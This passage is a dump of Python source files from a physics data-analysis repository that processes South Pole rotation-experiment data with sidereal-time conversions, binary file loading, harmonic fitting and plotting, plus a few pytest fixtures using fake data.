directCompare():\\n L=portionL\\n for k in range(len(L)/2):\\n name1, f1=L[2*k]\\n name2, f2=L[2*k+1]\\n fig=figure(name1 + ' vs ' + name2)\\n ax1=subplot(211)\\n ax2=subplot(212)\\n f1(plot=[ax1,ax2])\\n f2(plot=[ax1,ax2])\\n fig.savefig(figdir+'/{} vs {}.pdf'.format(name1,name2))\\n\\ndef systComparison(L, axL=None):\\n labels, dat=zip(*[(label, f()) for label, f in L])\\n mnL, trustUncL, apparentUncL, wErL = zip(*dat)\\n mnL=array(mnL);\\n trustUncL=array(trustUncL);\\n apparentUncL=array(apparentUncL)\\n if axL==None:\\n figure()\\n ax1=gca()\\n figure()\\n ax2=gca()\\n axL=[ax1, ax2]\\n else:\\n ax1,ax2=axL\\n\\n xpos=arange(len(mnL))\\n k=0\\n for mn, appUnc, trustUnc, ax in zip(mnL.T, apparentUncL.T, trustUncL.T, axL):\\n ax.errorbar(xpos, mn, appUnc, fmt='o', elinewidth=2, capthick=2) \\n ax.errorbar(xpos, mn, trustUnc, fmt=None, elinewidth=2, capthick=2) \\n ax.set_xticks(xpos)\\n ax.set_xticklabels(labels)\\n ax.set_xlim([-0.5, len(mnL)+0.5])\\n ax.set_ylabel('fT')\\n ax1.set_title('x-quad')\\n ax2.set_title('y-quad')\\n ax1.grid(True)\\n ax2.grid(True)\\n return labels, dat\\n\\ndef plotAllSyst():\\n k=1\\n for L in [systL, portionL, portionSplitL]: \\n fig=figure()\\n ax1=subplot(211)\\n ax2=subplot(212)\\n systComparison(L,[ax1,ax2])\\n fig.savefig(figdir+'/systematic {}.pdf'.format(k))\\n k+=1\\n\\ndef plotAllSeq():\\n for ds in dsL:\\n ds.viewSeq()\\n tight_layout()\\n savefig(figdir+\\\"/{0}:corr.png\\\".format(ds.timestamp))\\n\\n ds.viewSeq(sigWindow='bg')\\n tight_layout()\\n savefig(figdir+\\\"/{0}:corr_bg.png\\\".format(ds.timestamp))\\n\\n ds.viewCorrelationFilt()\\n tight_layout()\\n savefig(figdir+\\\"/{0}:corr_filt.png\\\".format(ds.timestamp))\\n ds.clearRaw()\\n\\ndef test():\\n ds=sd.SPDataSet('5369.87')\\n sAmp1=ds.sequenceAmp(sigWindow=spf.Window(2.5,-5.5))\\n sAmp2=ds.sequenceAmp(sigWindow=spf.Window(2.5,-3))\\n pAmp1=ds.pointAmp(sigWindow=spf.Window(2.5,-5.5))\\n pAmp2=ds.pointAmp(sigWindow=spf.Window(2.5,-3))\\n\\n #sAmp1=ds.sequenceAmp(sigWindow=spf.Window(3.25,-6.5))\\n #sAmp2=ds.sequenceAmp(sigWindow=spf.Window(3.25,-3.25))\\n #pAmp1=ds.pointAmp(sigWindow=spf.Window(3.25,-6.5))\\n #pAmp2=ds.pointAmp(sigWindow=spf.Window(3.25,-3.25))\\n\\n sig1=sAmp1.sig.ravel()\\n sig2=sAmp2.sig.ravel()\\n err1=sAmp1.err.ravel()\\n err2=sAmp2.err.ravel()\\n t=sAmp1.t.ravel()\\n figure()\\n fit, (ax1,ax2)=subplots(2,1, sharex=True)\\n ax1.plot(pAmp1.t.ravel(), pAmp1.sig.ravel())\\n ax1.plot(pAmp2.t.ravel(), pAmp2.sig.ravel())\\n ax2.errorbar(t, sig1, err1, fmt='.')\\n ax2.errorbar(t, sig2, err2, fmt='.')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5400130152702332,\n \"alphanum_fraction\": 0.6636304259300232,\n \"avg_line_length\": 29.13725471496582,\n \"blob_id\": \"4bfbde20b74e437619ac849a92ff93de94e03488\",\n \"content_id\": \"22bfe0bcc7a04e244f41b2e946443304a3fb1d1a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1537,\n \"license_type\": \"no_license\",\n \"max_line_length\": 156,\n \"num_lines\": 51,\n \"path\": \"/sdtime.py\",\n \"repo_name\": \"morgatron/spcpt-analysis\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from __future__ import division\\nfrom math import floor\\nimport time\\n#y2000=time.struct_time([2000,1,0,0,0,0,0,0,0]);\\ny2000secs= 946684800# time.mktime(y2000);\\nsecsPerSidDay= 86164.0905#( 23.9344696*3600);\\nFF=0.277715#0.7222841#*0.2776;\\n\\ndef secs2sd(t):\\n return (t-y2000secs)/secsPerSidDay + FF #Fudge factor for some reason\\ndef sd2secs(sd):\\n return (sd-FF)*secsPerSidDay+y2000secs\\ndef sd2gm(sd):\\n return time.gmtime(sd2secs(sd))\\ndef sd2local(sd):\\n return time.localtime(sd2secs(sd))\\ndef sdNow():\\n return secs2sd(time.time());\\ndef loc2sd(ltime_str, fmt=None):\\n #raise NotImplementedError\\n if fmt:\\n ltime=time.strptime(ltime_str, fmt)\\n elif fmt is None:\\n fmt='%m %d %Y'\\n try:\\n ltime=time.strptime(ltime_str, fmt)\\n except ValueError:\\n fmt='%c'\\n ltime=time.strptime(ltime_str,fmt)\\n return secs2sd(time.mktime(ltime))\\n \\n\\n\\ndef solarDaysSinceY2000(unixTime=None):\\n if unixTime==None:\\n unixTime=time.time();\\n return (unixTime + 3029572800.)/86400.\\n\\ndef siderealTimeKornack(unixTime=None):\\n return (280.46061837 + 360.98564736629 * solarDaysSinceY2000(unixTime))/360.;\\n\\ndef siderealTimeMeesus(T=None):\\n if T==None:\\n T=time.gmtime()\\n return 367*T.tm_year-floor(7*(T.tm_year+floor((T.tm_mon+9)/12))/4)+floor(275*T.tm_mon/9) +T.tm_mday+(T.tm_hour+T.tm_min/60+T.tm_sec/3600)/24-730531.5 \\n\\ndef siderealTimeMe(T=None):\\n if T==None:\\n T=time.time();\\n T-=946684800\\n return T/secsPerSidDay#/secsPerSidDay#30*366.242199\\n\"\n },\n {\n \"alpha_fraction\": 0.6071916222572327,\n \"alphanum_fraction\": 0.6490669250488281,\n \"avg_line_length\": 33.82539749145508,\n \"blob_id\": \"3e06f1904bee62ef8cf19fabf18f6cca6d05f82c\",\n \"content_id\": \"801eed8662d37ad02b02e3d867b2d5ee63f263ed\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2197,\n \"license_type\": \"no_license\",\n \"max_line_length\": 116,\n \"num_lines\": 63,\n \"path\": \"/openCPT.py\",\n \"repo_name\": \"morgatron/spcpt-analysis\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import numpy as np\\nfrom os import path\\nimport os\\nimport re\\n\\nbase_dir=os.environ['SP_DATA_DIR']\\nddir= \\\"/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_aparatus 5240.33 Bundle/\\\"\\nfilepath=ddir+\\\"SP_aparatus 5240.33 Medium 2.bin\\\"\\n\\n\\ntemplate_regex='SP_aparatus (\\\\d+(?:\\\\.\\\\d*)?|\\\\.\\\\d+) {0}( \\\\d+)?\\\\.bin'\\n\\ndef loadApparatusFiles(root_path, useMetaFile=True):\\n dirname=path.dirname(root_path) \\n rootname=path.basename(root_path) \\n r=re.compile('{0}( \\\\d+)?\\\\.bin'.format(rootname))\\n dlist=os.listdir(dirname);\\n dlist=[st for st in dlist if r.match(st)]\\n dlist.sort( key=lambda st: int(r.match(st).groups()[0]) ) # dlist is now sorted\\n \\n dat_list=[openFile(path.join(dirname, fname), useMetaFile=useMetaFile) for fname in dlist]\\n # Combine these into a single file...\\n\\n dat=np.hstack(dat_list)\\n #datnames=dat_list[0].keys()\\n return dat\\n\\ndef openFile(filepath, nVars=1, useMetaFile=False, endian='>'):\\n timeDataType=[('sd', endian+'f8')]\\n if useMetaFile:\\n fname_components=path.splitext(filepath)[0].split(' ')\\n if fname_components[-1].isdigit():\\n fname_components.pop()\\n meta_file_path=' '.join(fname_components) + '.meta'\\n if path.exists(meta_file_path):\\n mfile=open(meta_file_path)\\n elif path.exists(meta_file_path+'.txt'):\\n mfile=open(meta_file_path+'.txt')\\n else:\\n raise IOError\\n sigNames=mfile.readlines()\\n sigNames=[name.strip() for name in sigNames]\\n if sigNames[0]=='Sidereal Days':\\n sigNames=sigNames[1:]\\n nVars=len(sigNames)\\n sigDataType=[(name, endian+'f4') for name in sigNames]\\n\\n else:\\n sigDataType=[('s{0}'.format(n), endian+'f4') for n in range(1,nVars+1)]\\n\\n\\n\\n totalDataType=timeDataType+sigDataType\\n print(\\\"total dtype: {0}\\\".format(totalDataType))\\n dat=np.fromfile(filepath, totalDataType)\\n\\n return dat;\\n\\nif __name__==\\\"__main__\\\":\\n\\n ddir= \\\"/media/morgan/6a0066c2-6c13-49f4-9322-0b818dda2fe8/Princeton Data/South Pole/SP_aparatus 5240.33 Bundle/\\\"\\n filepath=ddir+\\\"SP_aparatus 5240.33 Medium 2.bin\\\"\\n dat=loadApparatusFiles(ddir+'SP_aparatus 5240.33 Medium')\\n\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.629983127117157,\n \"alphanum_fraction\": 0.6479505896568298,\n \"avg_line_length\": 28.180328369140625,\n \"blob_id\": \"9af728840b28d6594ace2ce9b0d6869513241283\",\n \"content_id\": \"af0734c187644f62c10471532789e2bf6df7e1a9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1781,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 61,\n \"path\": \"/getSPdata.py\",\n \"repo_name\": \"morgatron/spcpt-analysis\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from os import path\\nfrom os import environ\\n\\ndef getSPData(timestamp, rotations, interval, delay):\\n\\n base_data_dir=environ['SP_DATA_DIR'];\\n\\n ddir=path.join(base_data_dir, 'SP_aparatus {0} Bundle'.format(timestamp))\\n\\n [sdF,sigF,sdM,sigM,sdRe,sigRe,sdS,sigS,medNames,reNames,sloNames]=loadCPTFiles(timestamp);\\n\\n% Get triggers either by making them if parameters are given or loading\\n% them from the triggers file if available\\nif nargin>1\\n trig=makeTrigM(sdF,rotations,interval,delay);\\n if trig(end)>sdF(end)\\n trig=trig(1:end-rotations);\\n end\\nelse\\n trig=[];\\n rotations=find(diff(trig)>(trig(2)-trig(1))*1.1,1);\\nend\\nmtrig=[];\\nsdP=[]; pos=[]; stat=[];\\nsensor=[]; sensorNames=[];\\nif isdir( fullfile(data_dir, ['SP_motor ',timestamp,' Bundle']) )\\n cd( fullfile(data_dir, ['SP_motor ',timestamp,' Bundle']) );\\n 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SPfuncs as spf\\nimport SPDataSet as sd\\nimport pytest\\nfrom matplotlib import *\\n\\n\\n@pytest.fixture\\ndef fake_data_stop_start_4dirs():\\n rSpec=spf.RotationSpec(startingAngle=0, delay=9, interval=30, numRotations=20, rotAngles=[180], extraRotAngle=90)\\n return sd.testDS(rSpec)\\n\\n@pytest.fixture\\ndef fake_data_stop_start_2dirs():\\n rSpec= spf.RotationSpec(startingAngle=0, delay=9, interval=30, numRotations=20, rotAngles=[180], extraRotAngle=0)\\n return sd.testDS(rSpec)\\n\\n@pytest.fixture\\ndef fake_data_continuous():\\n ds=sd.SPDataSet('5410.04')\\n rAmp=ds.rawData()\\n rAmpAdded=spf.addFakeData(rAmp, rotationRate=ds.set_info['rotationRate'], amp=20, bBlankOriginalData=True, phi=pi/5)\\n ds.fastD=rAmpAdded\\n return ds\\n #ds=sd.SPDataSet('test_test', preloadDict={'fastD': [s, sig, 'sig']})\\n #need to put something ehre\\n\\ndef test_continuous_fitting(fake_data_continuous):\\n contData=fake_data_continuous\\n print(contData.sidAmp(subtractHarmsL=[]))\\n\\ndef test_cutAmp(fake_data_stop_start_4dirs):\\n madeData=fake_data_stop_start_4dirs\\n cA=madeData.cutAmp()\\n print(cA.sig.shape)\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5731147527694702,\n \"alphanum_fraction\": 0.580983579158783,\n \"avg_line_length\": 33.65909194946289,\n \"blob_id\": \"ba6505ca2773d9d46429e302ae8b64dfc4256828\",\n \"content_id\": \"09e6003bff18d2a11d4da7ff04a3e1320a29ae28\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1525,\n \"license_type\": \"no_license\",\n \"max_line_length\": 90,\n \"num_lines\": 44,\n \"path\": \"/convert.py\",\n \"repo_name\": \"morgatron/spcpt-analysis\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\nimport re\\n\\ndef allDirsSpmeta2Npmeta(base_dir=os.getenv('SP_DATA_DIR')):\\n ap_dir_regex=re.compile('.*SP_aparatus (\\\\d+(?:\\\\.\\\\d*)?|\\\\.\\\\d+) Bundle.*')\\n mo_dir_regex=re.compile('.*SP_motor (\\\\d+(?:\\\\.\\\\d*)?|\\\\.\\\\d+) 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\"2911de96051c1d4ece7444823ce51581f464aa30\",\n \"content_id\": \"47619dd3076aa7867532a4748223e9659cb3f7fa\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 64521,\n \"license_type\": \"no_license\",\n \"max_line_length\": 262,\n \"num_lines\": 1440,\n \"path\": \"/SPfuncs.py\",\n \"repo_name\": \"morgatron/spcpt-analysis\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"Useful functions for processing the SP data. Hopefully some are generic enough to be used elsewhere too.\\r\\n\\r\\n\\\"\\\"\\\"\\r\\nfrom __future__ import division\\r\\nfrom pylab import *\\r\\nimport matplotlib\\r\\nfrom matplotlib.gridspec import GridSpec, GridSpecFromSubplotSpec\\r\\nimport numpy as np\\r\\nfrom scipy import stats\\r\\nfrom copy import deepcopy\\r\\nimport pdb\\r\\nfrom collections import namedtuple\\r\\nfrom scipy.optimize import curve_fit\\r\\nfrom scipy.ndimage import convolve1d\\r\\nimport os\\r\\nfrom itertools import count\\r\\nimport re\\r\\nimport MT, MF\\r\\nfrom MT import nonnan, cached_property, nancurve_fit, figDontReplace, running_median_insort, vprint\\r\\nfrom scipy import random\\r\\nfrom scipy.signal import windows\\r\\nfrom statsmodels import api as sm\\r\\n#from SPDataSet import SPDataSet\\r\\n\\r\\nbTest=False\\r\\n\\r\\ndef secs2sd(secs):\\r\\n return secs/23.9344696/3600;\\r\\ndef sd2secs(sd):\\r\\n return sd*23.9344696*3600;\\r\\n\\r\\nWindow =namedtuple('Window', ['duration', 'offset'])\\r\\nRotationSpec=namedtuple('RotationSpec', ['startingAngle', 'delay', 'interval', 'rotAngles', 'extraRotAngle', 'numRotations']);\\r\\nRawData=namedtuple('RawData', ['t', 'sig'])\\r\\nPointData=namedtuple('PointData', ['t', 'sig', 'err', 'chi2', 'theta' ])\\r\\nCorrelationData=namedtuple('CorrelationData', ['t', 'sig', 'err', 'chi2', 'theta'])\\r\\nSiderealFitData=namedtuple('SiderealFitData', ['t', 'sig', 'err', 'chi2', 'sidTheta','labTheta', 'meta'])\\r\\nLabSetData=namedtuple('LabSetData', ['t', 'sig', 'err', 'chi2', 'labTheta'])\\r\\n\\r\\n\\r\\n\\r\\ndef getRotationsFromRSpec(rSpec, numReps=1):\\r\\n if not iterable(rSpec.rotAngles):\\r\\n rotAngles=[rSpec.rotAngles]\\r\\n else:\\r\\n rotAngles=rSpec.rotAngles\\r\\n rotationSequence=array( [rSpec.extraRotAngle]+ [rotAngles[k] for k in arange(rSpec.numRotations-1, dtype='i4')%len(rotAngles)])\\r\\n allRotations=tile(rotationSequence, numReps)\\r\\n return allRotations\\r\\ndef getAnglesFromRSpec(rSpec, numReps=1):\\r\\n \\\"\\\"\\\" Return angles for the sequence defined by @rSpec, repeated @numReps times.\\r\\n Angles are that /before/ each rotation, including before the extraRotation\\r\\n\\r\\n \\\"\\\"\\\"\\r\\n #Logic here is a little screwy. We start with extraRotAngle then subtract it from everything\\r\\n # Also remember, following the logic on spin-doctor we only do the main rotation N-1 times, the last one being the 'extraRotation'\\r\\n \\r\\n allRotations=getRotationsFromRSpec(rSpec, numReps)\\r\\n allAngles= rSpec.startingAngle-rSpec.extraRotAngle + cumsum(allRotations)\\r\\n allAngles=allAngles.reshape((numReps, rSpec.numRotations))\\r\\n #allAngles=allAngles[:,:-1]\\r\\n #allAngles=tile(angles, (numReps,1) )+arange(numReps)[:,newaxis]*rSpec.extraRotAngle\\r\\n return allAngles\\r\\n\\r\\ndef makeTriggers(sd,rSpec, seqStartTimes=None, bIncludeExtraRot=True, gapBetween=False):\\r\\n \\\"\\\"\\\" Construct a set of triggers by analysing the timing for the\\r\\n signal.\\r\\n \\\"\\\"\\\"\\r\\n sdDiff=np.diff(sd); \\r\\n meanDt=np.mean(sdDiff) # Mean difference between 1 point and the next (should be 0.02s ish)\\r\\n meanDt=np.median(sdDiff) # (Maybe using the median will be more robust?)\\r\\n \\r\\n if gapBetween:\\r\\n vprint(\\\"You probably shouldn't be using the gapBetween argument to makeTriggers\\\")\\r\\n gapBetween=secs2sd(gapBetween)\\r\\n dataTime=secs2sd(rSpec.numRotations*rSpec.interval+rSpec.delay)\\r\\n seqStartTimes=arange(sd[0],sd[-1]-dataTime, (dataTime +gapBetween) )\\r\\n\\r\\n if seqStartTimes is None:\\r\\n mask=np.hstack([[True], sdDiff>8*meanDt]) #Make a mask array for where the difference is much greater than the average\\r\\n #The above should perhaps not start with at true, but a false? I imagine we start recording data BEFORE we send the first trigger, not the other-way around?\\r\\n\\r\\n seqStartTimes=sd[mask]; #We'll assume those points are where each sequence of rotations starts\\r\\n if len(seqStartTimes)==1:\\r\\n vprint(\\\"Maybe there's no gaps in the sequence? makeTriggers is only returning one set of triggers\\\")\\r\\n \\r\\n Ntrigs = rSpec.numRotations-1\\r\\n if bIncludeExtraRot:\\r\\n Ntrigs+=1\\r\\n group=secs2sd(np.arange(Ntrigs)*rSpec.interval+rSpec.delay); #A group is a group of triggers for 1 sequence\\r\\n\\r\\n trigTimes=[group+seqStartTimes[0]]; #Trig will be the list of all triggers which we slowly build up.\\r\\n for i in range(1, seqStartTimes.size): #(this could be easily vectorized, as the size of trigTimes is known in advance)\\r\\n if trigTimes[-1][-1]<seqStartTimes[i]:\\r\\n trigTimes.append(group+seqStartTimes[i])\\r\\n\\r\\n #angles=getAnglesFromRSpec(rSpec, seqStartTimes.size)#, bIncludeExtraRot=bIncludeExtraRot)\\r\\n return np.array(trigTimes)#, np.array(angles)\\r\\n\\r\\ndef sliceSorted(t, t_0, t_end=None, delta_t=None):\\r\\n \\\"\\\"\\\" Cut up the times @t into sections that start at t_0 and and at t_end OR t_0 + delta_t if they're all the same.\\r\\n\\r\\n Returns a list of index arrays with length t_0.size\\r\\n \\\"\\\"\\\"\\r\\n startIs=t.searchsorted(t_0.ravel()); #ravel here because x0 can be multi-d\\r\\n if t_end is not None:\\r\\n endIs = t.searchsorted(t_end.ravel())\\r\\n if delta_t is not None:\\r\\n raise Exception(\\\"should have t_end OR delta_t, not both!\\\")\\r\\n elif delta_t:\\r\\n endIs = t.searchsorted(t_0.ravel()+delta_t)\\r\\n\\r\\n startIs=startIs[endIs<t.size] #Throw out cuts where the end index is out of range\\r\\n endIs=endIs[:startIs.size]\\r\\n\\r\\n if t_0.ndim>1:\\r\\n #If we lose some part so we have an incomplete sequence, we'll dump them.\\r\\n Norphans=startIs.size%t_0.shape[-1] #this is only general for 2d- need rethinking for more dimensions\\r\\n if Norphans>0:\\r\\n startIs=startIs[:-Norphans]\\r\\n endIs=endIs[:-Norphans]\\r\\n\\r\\n newShape=[int(startIs.size/t_0.shape[-1]), t_0.shape[-1]]\\r\\n else: \\r\\n newShape=[endIs.size]\\r\\n\\r\\n indxL=empty(newShape, dtype='O')\\r\\n indxL.ravel()[:]=[np.r_[sI:eI] for sI,eI in zip(startIs, endIs)]\\r\\n\\r\\n return indxL\\r\\n\\r\\ndef sliceReduceData(x, y, x0, delta_x=None,endTimes=None, functionL=[np.size, np.mean, lambda vals, **kwargs: np.std(vals, **kwargs)/sqrt(np.size(vals))], bJustGiveCuts=False ):\\r\\n \\\"\\\"\\\"Cut the given x data at points starting from x0, and going to x0+delta_x, and perform the functions in functionL on each cut section. \\r\\n\\r\\n Returns meanXs. finalL, indxL\\r\\n \\\"\\\"\\\"\\r\\n \\r\\n if endTimes is None:\\r\\n endTimes = x0 + delta_x\\r\\n indxL=sliceSorted(x, x0, t_end=endTimes);\\r\\n\\r\\n if y.ndim==1:\\r\\n y=y[newaxis,:]\\r\\n tPtsL=[x[inds] for inds in indxL.flat]\\r\\n\\r\\n finalL=[]\\r\\n for yax in y:\\r\\n\\r\\n yPtsL=[yax[inds] for inds in indxL.flat]\\r\\n resL=[]\\r\\n for f in functionL: #Apply each function in the list to the cuts\\r\\n vals=[f(ys, axis=0) for ys in yPtsL]\\r\\n vals=array(vals).reshape(indxL.shape)\\r\\n resL.append(vals)\\r\\n processedL=np.array(resL)\\r\\n finalL.append(processedL)\\r\\n \\r\\n meanXs= (x0+endTimes)/2.# delta_x/2. # The mean time for each cut\\r\\n meanXs=meanXs.ravel()[:indxL.size].reshape(indxL.shape)\\r\\n\\r\\n if len(finalL)==1:\\r\\n finalL=finalL[0]\\r\\n return meanXs, finalL, indxL \\r\\n\\r\\ndef stringSimple3pt(x, err=None):\\r\\n coeffs=array([0.25, -0.5, 0.25])\\r\\n coeffs/=abs(coeffs).sum()\\r\\n cnv=convolve1d(x, coeffs, axis=0, mode='constant')[1:-1]\\r\\n if len(cnv.shape)>1:\\r\\n res=cnv.mean(axis=1) # Or median?\\r\\n if err is not None:\\r\\n raise ValueError(\\\"if x is 2d, this function will calculate errors so errors shouldn't be included\\\")\\r\\n err3pt = std(cnv, axis=1)/sqrt(x.shape[0])\\r\\n else: \\r\\n res=cnv\\r\\n err3pt= sqrt(convolve(err**2, coeffs**2,mode='valid'))\\r\\n st3pt=res* (arange(res.size)%2-0.5)*-2 #Multiply by [1,-1,1,-1]....\\r\\n\\r\\n\\r\\n return st3pt, err3pt\\r\\n\\r\\ndef stringSimple5pt(x, err=None, rotDir=1.):\\r\\n \\\"\\\"\\\"Calculate 5pt strings and errors\\r\\n \\\"\\\"\\\"\\r\\n #coeffs=array([0.25, -0.5, 0.25]) #Copy coefficients from matlab code\\r\\n coeffs=array([\\r\\n [ 0.25 , 0., -0.5, 0. , 0.25],\\r\\n [-0.25 , 0.5 , 0. , -0.5 , 0.25],\\r\\n [ 0.125 , -0.25 , 0.25 , -0.25 , 0.125 ]])\\r\\n #coeffs=array([[1.,0.,-2.,0.,1.], #1h0\\r\\n # [-1,2.,0.,-2.,1.], #1h90\\r\\n # [1,-2, 2, -2, 1]], #2h0\\r\\n # )\\r\\n #coeffs.T[:]/=abs(coeffs).sum(axis=1)\\r\\n N=len(x)-4\\r\\n resA=zeros([N, 4])\\r\\n errA=zeros([N, 4])\\r\\n for cf, r, e in zip(coeffs, resA.T, errA.T):\\r\\n cnv=convolve1d(x, cf, axis=0, mode='constant')[2:-2]\\r\\n #cnv=convolve1d(x, coeffs, axis=0, mode='constant')[2:-2]\\r\\n if len(cnv.shape)>1: #If x is 2d, we'll assume that each column represents repeated measurements of the same value\\r\\n thisRes=cnv.mean(axis=1) # (Maybe median would be better here?)\\r\\n if err is not None:\\r\\n raise ValueError(\\\"if x is 2d, this function will calculate errors so errors shouldn't be included\\\")\\r\\n thisErr = std(cnv, axis=1)/sqrt(x.shape[0])\\r\\n else: \\r\\n res=cnv\\r\\n thisErr= sqrt(convolve(err**2, cf**2,mode='valid')[2:-2])\\r\\n r[:]=thisRes\\r\\n e[:]=thisErr\\r\\n resA[:,-1]*=nan\\r\\n res1h=(resA[:,0] + 1j*resA[:,1])*exp(-1j*pi/2*arange(N))#%2-0.5)*-2\\r\\n err1h=(errA[:,0] + 1j*errA[:,1])*exp(+1j*pi/2*arange(N)) #(arange(N)%2-0.5)*-2\\r\\n errA[:,0],errA[:,1]=abs(err1h.real), abs(err1h.imag)\\r\\n\\r\\n resA[:,0]=res1h.real\\r\\n resA[:,1]=res1h.imag\\r\\n resA[:,2]=resA[:,2]*(arange(N)%2-0.5)*-2\\r\\n\\r\\n #st0=res[::2]\\r\\n #st90=res[1::2]\\r\\n #err0=err[::2]\\r\\n #err90=err[1::2]\\r\\n #st0=st0* (arange(st0.size)%2-0.5)*-2 #Multiply by [1,-1,1,-1]....\\r\\n #st90=st90* (arange(st90.size)%2-0.5)*-2 #Multiply by [1,-1,1,-1]....\\r\\n\\r\\n\\r\\n return resA.reshape([N,2,2]), errA.reshape([N,2,2])\\r\\n\\r\\ndef getHarmonicsFit( theta_in, x_in, errs_in=None, harmonics=[1], pars0=[1.,1.]):\\r\\n \\\"\\\"\\\"Calculate the harmonics present in the data x corresponding to phases theta.\\r\\n\\r\\n Here we'll fit to sin waves.\\r\\n Inputs theta_in, x_in, and errs_in may be 2d\\r\\n\\r\\n Returns:\\r\\n thL, ampL, covL (thetas, fitted a#mplitude, covariance- except currently only the diagonal components, i.e. variance)\\r\\n \\\"\\\"\\\"\\r\\n bOnlyOneHarmonic=False\\r\\n if not hasattr(harmonics, '__len__'): #If we haven't been given a list of harmonics, we'll assume it's a number\\r\\n bOnlyOneHarmonic=True\\r\\n\\r\\n theta_in=theta_in.ravel()\\r\\n x_in=x_in.ravel()\\r\\n #errs_in=errs_in[\\r\\n errs_in=errs_in.ravel()\\r\\n #if errs_in==None:\\r\\n #errs_in=ones(x.shape, dtype=x.dtype)\\r\\n #d_theta=theta[1]-theta[0]\\r\\n #theta=arange(0, d_theta*N, d_theta)\\r\\n N=theta_in.size\\r\\n thL=[]\\r\\n ampL=[]\\r\\n covL=[]\\r\\n chi2L=[]\\r\\n delt=0.1\\r\\n THx=theta_in[0]\\r\\n THy=THx+pi/2. #This is the sin phase, so it's before cos \\r\\n theta = theta_in-THx\\r\\n p_mn0=nanmean(x_in)\\r\\n #x=x_in-nanmean(x_in)\\r\\n x=x_in\\r\\n\\r\\n bSinQuad=True;\\r\\n bCosQuad=True;\\r\\n\\r\\n bTest=False\\r\\n if bTest:\\r\\n fig, [ax, ax2]=subplots(2,1)\\r\\n #ax=gca()\\r\\n ax.plot(theta_in, x)\\r\\n #ax.plot(theta_in, x_in, 'ro')\\r\\n ax.plot(theta_in, x, 'bo')\\r\\n for n in harmonics:\\r\\n if sum(abs(sin(theta[~isnan(x)])))/N <0.1: # Means there's not much data for the sin quadrature\\r\\n bSinQuad=False;\\r\\n if bSinQuad and bCosQuad:\\r\\n #[Ax, Ay, B], cov=nancurve_fit(lambda theta, ax,ay,b: ax*cos(n*theta)+ ay*sin(n*theta) + b, theta, x,p0=[0.5e-1,0.5e-1,1.],sigma=errs_in)# [0][0] #sin(n*theta)*x;\\r\\n f=lambda theta, ax,ay, mn: ax*sin(n*theta)+ ay*cos(n*theta) + mn\\r\\n [Ax, Ay, Xmn], cov=nancurve_fit(f, theta, x,p0=pars0+[p_mn0],sigma=errs_in**2, )#, absolute_sigma=True)# [0][0] #sin(n*theta)*x;\\r\\n if bTest:\\r\\n ax2.plot(theta_in, f(theta, Ax, Ay, Xmn))\\r\\n chi2= nansum((f(theta, Ax, Ay, Xmn)-x)**2*1./errs_in**2)/(sum(~isnan(x).ravel())-2)\\r\\n elif bCosQuad:\\r\\n #[Ax, B],cov=nancurve_fit(lambda theta, ax,b: ax*cos(n*theta) + b, theta, x,p0=[0.5e-1,1.],sigma=errs_in)\\r\\n f=lambda theta, ay, mn: ay*cos(n*theta) + mn\\r\\n [Ay, Xmn],cov=nancurve_fit(f, theta, x,p0=[pars0[0], p_mn0],sigma=errs_in)#, absolute_sigma=True)\\r\\n if bTest:\\r\\n ax2.plot(theta_in, f(theta, Ay, Xmn))\\r\\n Ax=nan\\r\\n THx=nan\\r\\n cov=array([[nan, nan], [nan, cov[0,0]]]) # Let's pretend we've got realy covariance\\r\\n chi2= nansum((f(theta, Ay, Xmn)-x)**2*1./errs_in**2)/(sum(~isnan(x).ravel())-1)\\r\\n elif bSinQuad: \\r\\n f=lambda theta, ax, mn: ax*sin(n*theta) + mn\\r\\n [Ax, Xmn],cov=nancurve_fit(f , theta, x,p0=[pars0[1], p_mn0],sigma=errs_in)#, absolute_sigma=True)\\r\\n if bTest:\\r\\n ax2.plot(theta_in, f(theta, Ax, Xmn))\\r\\n Ay=nan\\r\\n cov=array([[cov[0,0], nan], [nan, nan]]) # Cheating\\r\\n chi2= nansum((f(theta, Ax, Xmn)-x)**2*1./errs_in**2)/(sum(~isnan(x).ravel())-1)\\r\\n else:\\r\\n raise Exception('Error in getHarmonicsFit: input angles are probably unexpected?')\\r\\n \\r\\n if bTest:\\r\\n show()\\r\\n raw_input('Continue?')\\r\\n\\r\\n if bOnlyOneHarmonic:\\r\\n covL=cov\\r\\n ampL=(Ax,Ay)\\r\\n thL=(THx, THy)\\r\\n else:\\r\\n covL.append(cov)\\r\\n ampL.append((Ax,Ay))\\r\\n thL.append((THx, THy))\\r\\n chi2L.append(chi2)\\r\\n #covL.append(sqrt(diag(cov)))\\r\\n #covL.append((sqrt(cov_x[0][0]), sqrt(cov_y[0][0])))\\r\\n return thL, ampL, covL, chi2L\\r\\n\\r\\ndef mgStringHarmonics(theta, x, err=None, harmonics=[1], chi2Filter=inf):\\r\\n \\\"\\\"\\\" Input measurements x taken at angles theta0+ n* dtheta (assumed to be evenly spaced) and return harmonic components\\r\\n\\r\\n Returns: phi, amp, err, chi2\\r\\n where they each have the shape\\r\\n [ (val1, val2), (val1, val2)... ], where each tuple corresponds to a different harmonic and the individual components correspond to the different quadratures.\\r\\n incalculable values are replaced with \\\"nan\\\"\\r\\n\\r\\n That is, return the coefficients A1, A2 that fit the data for A1*sin(n*theta) + A2*cos(n*theta) for harmonic n, as well as standard deviations and chi^2\\r\\n 